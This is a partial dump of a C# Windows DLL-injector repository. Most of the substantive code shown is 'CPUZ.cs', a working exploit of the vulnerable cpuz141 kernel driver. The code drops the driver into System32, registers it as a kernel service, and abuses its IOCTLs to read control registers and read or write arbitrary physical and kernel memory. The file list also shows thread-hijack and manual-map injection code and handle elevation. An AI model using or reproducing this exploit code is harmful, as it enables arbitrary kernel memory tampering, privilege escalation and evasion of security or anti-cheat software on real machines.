Showing preview only (550K chars total). Download the full file or copy to clipboard to get everything.
Repository: vmcall/loadlibrayy
Branch: master
Commit: 91c627ac697c
Files: 38
Total size: 530.1 KB
Directory structure:
gitextract_9eedc8zr/
├── .gitattributes
├── .gitignore
├── App.config
├── Driver Exploit/
│ ├── CPUZ.cs
│ ├── CPUZShellcode.cs
│ └── ElevateHandle.cs
├── Extensions/
│ └── ProcessExtensions.cs
├── Forms/
│ ├── DankInjectionForm.Designer.cs
│ ├── DankInjectionForm.cs
│ ├── DankInjectionForm.resx
│ ├── NewInjectionForm.Designer.cs
│ ├── NewInjectionForm.cs
│ ├── NewInjectionForm.resx
│ ├── TaskList.Designer.cs
│ ├── TaskList.cs
│ └── TaskList.resx
├── Helpers/
│ ├── Logger.cs
│ ├── Natives.cs
│ ├── ShellcodeGenerator.cs
│ └── Tools.cs
├── Injection/
│ ├── IInjectionMethod.cs
│ ├── LoadLibrary.cs
│ └── ManualMap.cs
├── LICENSE
├── Loadlibrayy.csproj
├── Miscellaneous/
│ ├── Program.cs
│ └── app.manifest
├── Properties/
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
├── README.md
├── Shellcodes/
│ ├── call_dllmain_x64.asm
│ ├── threadhijack_dllmain_x64.asm
│ └── threadhijack_loadlibrary_x64.asm
├── loadlibrayy.sln
└── packages.config
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitattributes
================================================
###############################################################################
# Set default behavior to automatically normalize line endings.
###############################################################################
* text=auto
###############################################################################
# Set default behavior for command prompt diff.
#
# This is need for earlier builds of msysgit that does not have it on by
# default for csharp files.
# Note: This is only used by command line
###############################################################################
#*.cs diff=csharp
###############################################################################
# Set the merge driver for project and solution files
#
# Merging from the command prompt will add diff markers to the files if there
# are conflicts (Merging from VS is not affected by the settings below, in VS
# the diff markers are never inserted). Diff markers may cause the following
# file extensions to fail to load in VS. An alternative would be to treat
# these files as binary and thus will always conflict and require user
# intervention with every merge. To do so, just uncomment the entries below
###############################################################################
#*.sln merge=binary
#*.csproj merge=binary
#*.vbproj merge=binary
#*.vcxproj merge=binary
#*.vcproj merge=binary
#*.dbproj merge=binary
#*.fsproj merge=binary
#*.lsproj merge=binary
#*.wixproj merge=binary
#*.modelproj merge=binary
#*.sqlproj merge=binary
#*.wwaproj merge=binary
###############################################################################
# behavior for image files
#
# image files are treated as binary by default.
###############################################################################
#*.jpg binary
#*.png binary
#*.gif binary
###############################################################################
# diff behavior for common document formats
#
# Convert binary document formats to text before diffing them. This feature
# is only available from the command line. Turn it on by uncommenting the
# entries below.
###############################################################################
#*.doc diff=astextplain
#*.DOC diff=astextplain
#*.docx diff=astextplain
#*.DOCX diff=astextplain
#*.dot diff=astextplain
#*.DOT diff=astextplain
#*.pdf diff=astextplain
#*.PDF diff=astextplain
#*.rtf diff=astextplain
#*.RTF diff=astextplain
================================================
FILE: .gitignore
================================================
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
# Visual Studio 2015 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# DNX
project.lock.json
project.fragment.lock.json
artifacts/
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# TODO: Comment the next line if you want to checkin your web deploy settings
# but database connection strings (with potential passwords) will be unencrypted
#*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/packages/*
# except build/, which is used as an MSBuild target.
!**/packages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/packages/repositories.config
# NuGet v3's project.json files produces more ignoreable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
node_modules/
orleans.codegen.cs
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
*.mdf
*.ldf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# JetBrains Rider
.idea/
*.sln.iml
# CodeRush
.cr/
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
================================================
FILE: App.config
================================================
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7"/>
</startup>
</configuration>
================================================
FILE: Driver Exploit/CPUZ.cs
================================================
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace DriverExploits
{
public unsafe class CPUZ
{
private const string DriverDisplayName = "cpuz141";
private const string DriverFileName = "C:\\Windows\\System32\\drivers\\cpuz141.sys";
private const string DriverDeviceName = "\\Device\\cpuz141";
private const uint IOCTL_ReadControlRegister = 0x9C402428;
private const uint IOCTL_ReadPhysicalAddress = 0x9C402420;
private const uint IOCTL_WritePhysicalAddress = 0x9C402430;
private IntPtr g_ServiceHandle;
private IntPtr g_DeviceHandle;
#region Memory Structs
[StructLayout(LayoutKind.Sequential)]
struct InputReadStruct
{
public uint AddressHigh;
public uint AddressLow;
public uint Length;
public uint BufferHigh;
public uint BufferLow;
};
[StructLayout(LayoutKind.Sequential)]
struct InputWriteStruct
{
public uint AddressHigh;
public uint AddressLow;
public uint Value;
};
[StructLayout(LayoutKind.Sequential)]
struct OutputStruct
{
public uint Operation;
public uint BufferLow;
};
#endregion
// DRIVER FUNCTIONS
/// <summary>
/// Load the vulnerable driver
/// </summary>
/// <returns></returns>
public bool Load()
{
IntPtr serviceHandle;
if (ServiceHelper.OpenService(out serviceHandle, DriverDisplayName, 0x0020/*SERVICE_STOP*/ | 0x00010000/*DELETE*/))
{
Console.WriteLine($"[!] Service already running");
if (!ServiceHelper.StopService(serviceHandle))
Console.WriteLine($"[!] Couldn't stop service");
if (!ServiceHelper.DeleteService(serviceHandle))
Console.WriteLine($"[!] Couldn't delete service");
ServiceHelper.CloseServiceHandle(serviceHandle);
return Load();
}
File.WriteAllBytes(DriverFileName, CPUZShellcode.Shellcode);
Console.WriteLine($"[+] Loading...");
if (!ServiceHelper.CreateService(
ref g_ServiceHandle,
DriverDisplayName, DriverDisplayName,
DriverFileName,
(uint)Nt.SERVICE_ACCESS.SERVICE_ALL_ACCESS, 1/*SERVICE_KERNEL_DRIVER*/,
(uint)Nt.SERVICE_START.SERVICE_DEMAND_START, 1/*SERVICE_ERROR_NORMAL*/))
{
Console.WriteLine($"[!] Failed to create service - {Marshal.GetLastWin32Error():X}");
return false;
}
if (!ServiceHelper.StartService(g_ServiceHandle))
{
Console.WriteLine($"[!] Failed to start service - {Marshal.GetLastWin32Error():X}");
ServiceHelper.DeleteService(g_ServiceHandle);
return false;
}
Console.WriteLine($"[+] Getting Device Handle");
Nt.OBJECT_ATTRIBUTES objectAttributes = new Nt.OBJECT_ATTRIBUTES();
Nt.UNICODE_STRING deviceName = new Nt.UNICODE_STRING(DriverDeviceName);
Nt.IO_STATUS_BLOCK ioStatus;
objectAttributes.Length = Marshal.SizeOf(typeof(Nt.OBJECT_ATTRIBUTES));
objectAttributes.ObjectName = new IntPtr(&deviceName);
uint status = 0;
IntPtr deviceHandle;
do
{
status = Nt.NtOpenFile(
&deviceHandle,
(uint)(Nt.ACCESS_MASK.GENERIC_READ | Nt.ACCESS_MASK.GENERIC_WRITE | Nt.ACCESS_MASK.SYNCHRONIZE),
&objectAttributes, &ioStatus, 0, 3/*OPEN_EXISTING*/);
if (status != 0/*NT_SUCCESS*/)
{
Console.WriteLine($"[!] NtOpenFile failed! - {status:X}");
Thread.Sleep(250);
}
} while (status != 0/*NT_SUCCESS*/);
g_DeviceHandle = deviceHandle;
Console.WriteLine($"[+] hService: {g_ServiceHandle:X}");
Console.WriteLine($"[+] hDevice: {g_DeviceHandle:X}");
return true;
}
/// <summary>
/// Unload the vulnerable driver (and clean up its mess)
/// </summary>
/// <returns></returns>
public bool Unload()
{
if (!ServiceHelper.StopService(g_ServiceHandle))
{
Console.WriteLine($"[!] Couldn't stop service");
return false;
}
if (!ServiceHelper.DeleteService(g_ServiceHandle))
{
Console.WriteLine($"[!] Couldn't delete service");
return false;
}
ServiceHelper.CloseServiceHandle(g_ServiceHandle);
Nt.CloseHandle(g_DeviceHandle);
Console.WriteLine($"[+] Unloaded service");
return true;
}
// HELPERS
private ulong LODWORD(ulong l) => (l & 0xffffffff);
private ulong HIDWORD(ulong l) => ((l >> 32) & 0xffffffff);
/* I HAVE NO FUCKING CLUE - BLINDLY TRUST MARK
* [8:13 PM] markhc: https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-system-programming-manual-325384.pdf
* [8:13 PM] markhc: chapter 4
* [8:14 PM] markhc: Figure 4-8. Linear-Address Translation to a 4-KByte Page using IA-32e Paging
*/
public ulong TranslateLinearAddress(ulong directoryTableBase, ulong virtualAddress)
{
ushort PML4 = (ushort)((virtualAddress >> 39) & 0x1FF); //<! PML4 Entry Index
ushort DirectoryPtr = (ushort)((virtualAddress >> 30) & 0x1FF); //<! Page-Directory-Pointer Table Index
ushort Directory = (ushort)((virtualAddress >> 21) & 0x1FF); //<! Page Directory Table Index
ushort Table = (ushort)((virtualAddress >> 12) & 0x1FF); //<! Page Table Index
// Read the PML4 Entry. DirectoryTableBase has the base address of the table.
// It can be read from the CR3 register or from the kernel process object.
ulong PML4E = ReadPhysicalAddress<ulong>(directoryTableBase + (ulong)PML4 * sizeof(ulong));
if (PML4E == 0)
return 0;
// The PML4E that we read is the base address of the next table on the chain,
// the Page-Directory-Pointer Table.
ulong PDPTE = ReadPhysicalAddress<ulong>((PML4E & 0xFFFFFFFFFFF000) + (ulong)DirectoryPtr * sizeof(ulong));
if (PDPTE == 0)
return 0;
//Check the PS bit
if ((PDPTE & (1 << 7)) != 0)
{
// If the PDPTE’s PS flag is 1, the PDPTE maps a 1-GByte page. The
// final physical address is computed as follows:
// — Bits 51:30 are from the PDPTE.
// — Bits 29:0 are from the original va address.
return (PDPTE & 0xFFFFFC0000000) + (virtualAddress & 0x3FFFFFFF);
}
// PS bit was 0. That means that the PDPTE references the next table
// on the chain, the Page Directory Table. Read it.
ulong PDE = ReadPhysicalAddress<ulong>((PDPTE & 0xFFFFFFFFFF000) + (ulong)Directory * sizeof(ulong));
if (PDE == 0)
return 0;
if ((PDE & (1 << 7)) != 0)
{
// If the PDE’s PS flag is 1, the PDE maps a 2-MByte page. The
// final physical address is computed as follows:
// — Bits 51:21 are from the PDE.
// — Bits 20:0 are from the original va address.
return (PDE & 0xFFFFFFFE00000) + (virtualAddress & 0x1FFFFF);
}
// PS bit was 0. That means that the PDE references a Page Table.
ulong PTE = ReadPhysicalAddress<ulong>((PDE & 0xFFFFFFFFFF000) + (ulong)Table * sizeof(ulong));
if (PTE == 0)
return 0;
// The PTE maps a 4-KByte page. The
// final physical address is computed as follows:
// — Bits 51:12 are from the PTE.
// — Bits 11:0 are from the original va address.
return (PTE & 0xFFFFFFFFFF000) + (virtualAddress & 0xFFF);
}
/// <summary>
/// Read a kernel control register
/// </summary>
/// <returns>Value of control register</returns>
public ulong ReadControlRegister(uint controlRegister)
{
ulong value = 0;
ulong io = 0;
if (!Nt.DeviceIoControl(g_DeviceHandle, IOCTL_ReadControlRegister, &controlRegister, sizeof(uint), &value, sizeof(ulong), &io, 0))
throw new Exception("DeviceIonControl failed! - 0x9C402428");
return value;
}
/// <summary>
/// Read buffer, of specified size, at physical address
/// </summary>
/// <returns>Success</returns>
public bool ReadPhysicalAddress(ulong lpAddress, ulong lpBuffer, ulong lLength)
{
InputReadStruct input = new InputReadStruct();
OutputStruct output = new OutputStruct();
if (lpAddress == 0 || lpBuffer == 0)
return false;
input.AddressHigh = (uint)HIDWORD(lpAddress);
input.AddressLow = (uint)LODWORD(lpAddress);
input.Length = (uint)lLength;
input.BufferHigh = (uint)HIDWORD(lpBuffer);
input.BufferLow = (uint)LODWORD(lpBuffer);
ulong io = 0;
return Nt.DeviceIoControl(g_DeviceHandle, IOCTL_ReadPhysicalAddress, &input, (uint)Marshal.SizeOf(typeof(InputReadStruct)), &output, (uint)Marshal.SizeOf(typeof(OutputStruct)), &io, 0);
}
/// <summary>
/// Write buffer, of specified size, at physical address
/// </summary>
/// <returns>Success</returns>
public bool WritePhysicalAddress(ulong address, ulong buf, ulong len)
{
if (len % 4 != 0 || len == 0)
throw new Exception("The CPU-Z driver can only write lengths that are aligned to 4 bytes (4, 8, 12, 16, etc)");
InputWriteStruct in_mem = new InputWriteStruct();
OutputStruct out_mem = new OutputStruct();
if (address == 0 || buf == 0)
return false;
ulong io = 0;
if (len == 4)
{
in_mem.AddressHigh = (uint)HIDWORD(address);
in_mem.AddressLow = (uint)LODWORD(address);
in_mem.Value = *(uint*)buf;
return Nt.DeviceIoControl(g_DeviceHandle, IOCTL_WritePhysicalAddress, &in_mem, (uint)Marshal.SizeOf(typeof(InputWriteStruct)), &out_mem, (uint)Marshal.SizeOf(typeof(OutputStruct)), &io, 0);
}
else
{
for (uint i = 0; i < len / 4; i++)
{
in_mem.AddressHigh = (uint)HIDWORD(address + 4 * i);
in_mem.AddressLow = (uint)LODWORD(address + 4 * i);
in_mem.Value = ((uint*)buf)[i];
if (!Nt.DeviceIoControl(g_DeviceHandle, IOCTL_WritePhysicalAddress, &in_mem, (uint)Marshal.SizeOf(typeof(InputWriteStruct)), &out_mem, (uint)Marshal.SizeOf(typeof(OutputStruct)), &io, 0))
return false;
}
return true;
}
}
/// <summary>
/// Read buffer, of specified length, at system address
/// </summary>
/// <returns>Success</returns>
public bool ReadSystemAddress(ulong address, ulong buf, ulong len)
{
ulong dirbase = ReadControlRegister(3); // FOR ADDRESS TRANSLATION
ulong phys = TranslateLinearAddress(dirbase, address);
if (phys == 0)
return false;
return ReadPhysicalAddress(phys, buf, len);
}
/// <summary>
/// Write buffer, of specified length, at system address
/// </summary>
/// <returns>Success</returns>
public bool WriteSystemAddress(ulong address, ulong buf, ulong len)
{
ulong dirbase = ReadControlRegister(3); // FOR ADDRESS TRANSLATION
ulong phys = TranslateLinearAddress(dirbase, address);
if (phys == 0)
return false;
return WritePhysicalAddress(phys, buf, len);
}
// GENERIC WRAPPERS
public T ReadPhysicalAddress<T>(ulong address) where T : struct
{
var buf = (ulong*)Marshal.AllocHGlobal(Marshal.SizeOf(typeof(T)));
if (!ReadPhysicalAddress(address, (ulong)buf, (ulong)Marshal.SizeOf(typeof(T))))
throw new Exception("Read failed");
T result = (T)Marshal.PtrToStructure((IntPtr)buf, typeof(T));
Marshal.FreeHGlobal((IntPtr)buf);
return result;
}
public T ReadSystemAddress<T>(ulong address) where T : struct
{
var buf = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(T)));
if (!ReadSystemAddress(address, (ulong)buf, (ulong)Marshal.SizeOf(typeof(T))))
throw new Exception("Read failed");
T result = (T)Marshal.PtrToStructure(buf, typeof(T));
Marshal.FreeHGlobal(buf);
return result;
}
public bool WritePhysicalAddress<T>(ulong address, T value) where T : struct
{
var buf = (ulong)Marshal.AllocHGlobal(Marshal.SizeOf(typeof(T)));
Marshal.StructureToPtr(value, (IntPtr)buf, false);
bool success = WritePhysicalAddress(address, buf, (ulong)Marshal.SizeOf(typeof(T)));
Marshal.FreeHGlobal((IntPtr)buf);
return success;
}
public bool WriteSystemAddress<T>(ulong address, T value) where T : struct
{
var buf = (ulong)Marshal.AllocHGlobal(Marshal.SizeOf(typeof(T)));
Marshal.StructureToPtr(value, (IntPtr)buf, false);
bool success = WriteSystemAddress(address, buf, (ulong)Marshal.SizeOf(typeof(T)));
Marshal.FreeHGlobal((IntPtr)buf);
return success;
}
/// <summary>
/// Native functions :)
/// </summary>
private static class Nt
{
#region Function
[DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true, CharSet = CharSet.Auto)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
uint dwIoControlCode,
void* lpInBuffer,
uint nInBufferSize,
void* lpOutBuffer,
uint nOutBufferSize,
ulong* lpBytesReturned,
uint lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("ntdll.dll", CharSet = CharSet.Auto)]
public static extern uint NtOpenFile(IntPtr* FileHandle, uint DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, IO_STATUS_BLOCK* IoStatusBlock, uint ShareAccess, uint OpenOptions);
#endregion
#region Structs
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct OBJECT_ATTRIBUTES
{
public Int32 Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct IO_STATUS_BLOCK
{
public uint status;
public IntPtr information;
}
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING : IDisposable
{
public ushort Length;
public ushort MaximumLength;
private IntPtr buffer;
public UNICODE_STRING(string s)
{
Length = (ushort)(s.Length * 2);
MaximumLength = (ushort)(Length + 2);
buffer = Marshal.StringToHGlobalUni(s);
}
public void Dispose()
{
Marshal.FreeHGlobal(buffer);
buffer = IntPtr.Zero;
}
public override string ToString()
{
return Marshal.PtrToStringUni(buffer);
}
}
#endregion
#region Flags
[Flags]
public enum SERVICE_ACCESS : uint
{
/// <summary>
/// Required to call the QueryServiceConfig and
/// QueryServiceConfig2 functions to query the service configuration.
/// </summary>
SERVICE_QUERY_CONFIG = 0x00001,
/// <summary>
/// Required to call the ChangeServiceConfig or ChangeServiceConfig2 function
/// to change the service configuration. Because this grants the caller
/// the right to change the executable file that the system runs,
/// it should be granted only to administrators.
/// </summary>
SERVICE_CHANGE_CONFIG = 0x00002,
/// <summary>
/// Required to call the QueryServiceStatusEx function to ask the service
/// control manager about the status of the service.
/// </summary>
SERVICE_QUERY_STATUS = 0x00004,
/// <summary>
/// Required to call the EnumDependentServices function to enumerate all
/// the services dependent on the service.
/// </summary>
SERVICE_ENUMERATE_DEPENDENTS = 0x00008,
/// <summary>
/// Required to call the StartService function to start the service.
/// </summary>
SERVICE_START = 0x00010,
/// <summary>
/// Required to call the ControlService function to stop the service.
/// </summary>
SERVICE_STOP = 0x00020,
/// <summary>
/// Required to call the ControlService function to pause or continue
/// the service.
/// </summary>
SERVICE_PAUSE_CONTINUE = 0x00040,
/// <summary>
/// Required to call the EnumDependentServices function to enumerate all
/// the services dependent on the service.
/// </summary>
SERVICE_INTERROGATE = 0x00080,
/// <summary>
/// Required to call the ControlService function to specify a user-defined
/// control code.
/// </summary>
SERVICE_USER_DEFINED_CONTROL = 0x00100,
/// <summary>
/// Includes STANDARD_RIGHTS_REQUIRED in addition to all access rights in this table.
/// </summary>
SERVICE_ALL_ACCESS = (ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |
SERVICE_QUERY_CONFIG |
SERVICE_CHANGE_CONFIG |
SERVICE_QUERY_STATUS |
SERVICE_ENUMERATE_DEPENDENTS |
SERVICE_START |
SERVICE_STOP |
SERVICE_PAUSE_CONTINUE |
SERVICE_INTERROGATE |
SERVICE_USER_DEFINED_CONTROL),
GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |
SERVICE_QUERY_CONFIG |
SERVICE_QUERY_STATUS |
SERVICE_INTERROGATE |
SERVICE_ENUMERATE_DEPENDENTS,
GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |
SERVICE_CHANGE_CONFIG,
GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |
SERVICE_START |
SERVICE_STOP |
SERVICE_PAUSE_CONTINUE |
SERVICE_USER_DEFINED_CONTROL,
/// <summary>
/// Required to call the QueryServiceObjectSecurity or
/// SetServiceObjectSecurity function to access the SACL. The proper
/// way to obtain this access is to enable the SE_SECURITY_NAME
/// privilege in the caller's current access token, open the handle
/// for ACCESS_SYSTEM_SECURITY access, and then disable the privilege.
/// </summary>
ACCESS_SYSTEM_SECURITY = ACCESS_MASK.ACCESS_SYSTEM_SECURITY,
/// <summary>
/// Required to call the DeleteService function to delete the service.
/// </summary>
DELETE = ACCESS_MASK.DELETE,
/// <summary>
/// Required to call the QueryServiceObjectSecurity function to query
/// the security descriptor of the service object.
/// </summary>
READ_CONTROL = ACCESS_MASK.READ_CONTROL,
/// <summary>
/// Required to call the SetServiceObjectSecurity function to modify
/// the Dacl member of the service object's security descriptor.
/// </summary>
WRITE_DAC = ACCESS_MASK.WRITE_DAC,
/// <summary>
/// Required to call the SetServiceObjectSecurity function to modify
/// the Owner and Group members of the service object's security
/// descriptor.
/// </summary>
WRITE_OWNER = ACCESS_MASK.WRITE_OWNER,
}
[Flags]
public enum ACCESS_MASK : uint
{
DELETE = 0x00010000,
READ_CONTROL = 0x00020000,
WRITE_DAC = 0x00040000,
WRITE_OWNER = 0x00080000,
SYNCHRONIZE = 0x00100000,
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
STANDARD_RIGHTS_READ = 0x00020000,
STANDARD_RIGHTS_WRITE = 0x00020000,
STANDARD_RIGHTS_EXECUTE = 0x00020000,
STANDARD_RIGHTS_ALL = 0x001F0000,
SPECIFIC_RIGHTS_ALL = 0x0000FFFF,
ACCESS_SYSTEM_SECURITY = 0x01000000,
MAXIMUM_ALLOWED = 0x02000000,
GENERIC_READ = 0x80000000,
GENERIC_WRITE = 0x40000000,
GENERIC_EXECUTE = 0x20000000,
GENERIC_ALL = 0x10000000,
DESKTOP_READOBJECTS = 0x00000001,
DESKTOP_CREATEWINDOW = 0x00000002,
DESKTOP_CREATEMENU = 0x00000004,
DESKTOP_HOOKCONTROL = 0x00000008,
DESKTOP_JOURNALRECORD = 0x00000010,
DESKTOP_JOURNALPLAYBACK = 0x00000020,
DESKTOP_ENUMERATE = 0x00000040,
DESKTOP_WRITEOBJECTS = 0x00000080,
DESKTOP_SWITCHDESKTOP = 0x00000100,
WINSTA_ENUMDESKTOPS = 0x00000001,
WINSTA_READATTRIBUTES = 0x00000002,
WINSTA_ACCESSCLIPBOARD = 0x00000004,
WINSTA_CREATEDESKTOP = 0x00000008,
WINSTA_WRITEATTRIBUTES = 0x00000010,
WINSTA_ACCESSGLOBALATOMS = 0x00000020,
WINSTA_EXITWINDOWS = 0x00000040,
WINSTA_ENUMERATE = 0x00000100,
WINSTA_READSCREEN = 0x00000200,
WINSTA_ALL_ACCESS = 0x0000037F
}
/// <summary>
/// Service start options
/// </summary>
public enum SERVICE_START : uint
{
/// <summary>
/// A device driver started by the system loader. This value is valid
/// only for driver services.
/// </summary>
SERVICE_BOOT_START = 0x00000000,
/// <summary>
/// A device driver started by the IoInitSystem function. This value
/// is valid only for driver services.
/// </summary>
SERVICE_SYSTEM_START = 0x00000001,
/// <summary>
/// A service started automatically by the service control manager
/// during system startup. For more information, see Automatically
/// Starting Services.
/// </summary>
SERVICE_AUTO_START = 0x00000002,
/// <summary>
/// A service started by the service control manager when a process
/// calls the StartService function. For more information, see
/// Starting Services on Demand.
/// </summary>
SERVICE_DEMAND_START = 0x00000003,
/// <summary>
/// A service that cannot be started. Attempts to start the service
/// result in the error code ERROR_SERVICE_DISABLED.
/// </summary>
SERVICE_DISABLED = 0x00000004,
}
#endregion
}
}
/// <summary>
/// Wrapper for the native service functions
/// </summary>
public static class ServiceHelper
{
public static bool CreateService(
ref IntPtr hService,
string ServiceName,
string DisplayName,
string BinPath,
uint DesiredAccess,
uint ServiceType,
uint StartType,
uint ErrorControl)
{
IntPtr hSCManager = Nt.OpenSCManager(0, 0, 0x0002/*SC_MANAGER_CREATE_SERVICE*/);
if (hSCManager == IntPtr.Zero)
return false;
hService = Nt.CreateServiceW(
hSCManager,
ServiceName, DisplayName,
DesiredAccess,
ServiceType, StartType,
ErrorControl, BinPath,
0, 0, 0, 0, 0, 0);
Nt.CloseServiceHandle(hSCManager);
return hService != IntPtr.Zero;
}
public static bool OpenService(out IntPtr hService, string szServiceName, uint DesiredAccess)
{
IntPtr hSCManager = Nt.OpenSCManager(0, 0, DesiredAccess);
hService = Nt.OpenService(hSCManager, szServiceName, DesiredAccess);
Nt.CloseServiceHandle(hSCManager);
return hService != IntPtr.Zero;
}
public static bool StopService(IntPtr hService)
{
Nt.SERVICE_STATUS ServiceStatus = new Nt.SERVICE_STATUS();
return Nt.ControlService(hService, Nt.SERVICE_CONTROL.STOP, ref ServiceStatus);
}
public static bool StartService(IntPtr hService) => Nt.StartService(hService, 0, null);
public static bool DeleteService(IntPtr hService) => Nt.DeleteService(hService);
public static void CloseServiceHandle(IntPtr hService) => Nt.CloseServiceHandle(hService);
/// <summary>
/// Native functions :)
/// </summary>
private static class Nt
{
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(uint machineName, uint databaseName, uint dwAccess);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseServiceHandle(IntPtr hSCObject);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ControlService(IntPtr hService, SERVICE_CONTROL dwControl, ref SERVICE_STATUS lpServiceStatus);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(
IntPtr hService,
int dwNumServiceArgs,
string[] lpServiceArgVectors
);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DeleteService(IntPtr hService);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern IntPtr CreateServiceW(
IntPtr hSCManager,
string lpServiceName,
string lpDisplayName,
uint dwDesiredAccess,
uint dwServiceType,
uint dwStartType,
uint dwErrorControl,
string lpBinaryPathName,
uint lpLoadOrderGroup,
uint lpdwTagId,
uint lpdwTagId1,
uint lpDependencies,
uint lpServiceStartName,
uint lpPassword);
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct SERVICE_STATUS
{
public SERVICE_TYPE dwServiceType;
public SERVICE_STATE dwCurrentState;
public uint dwControlsAccepted;
public uint dwWin32ExitCode;
public uint dwServiceSpecificExitCode;
public uint dwCheckPoint;
public uint dwWaitHint;
}
[Flags]
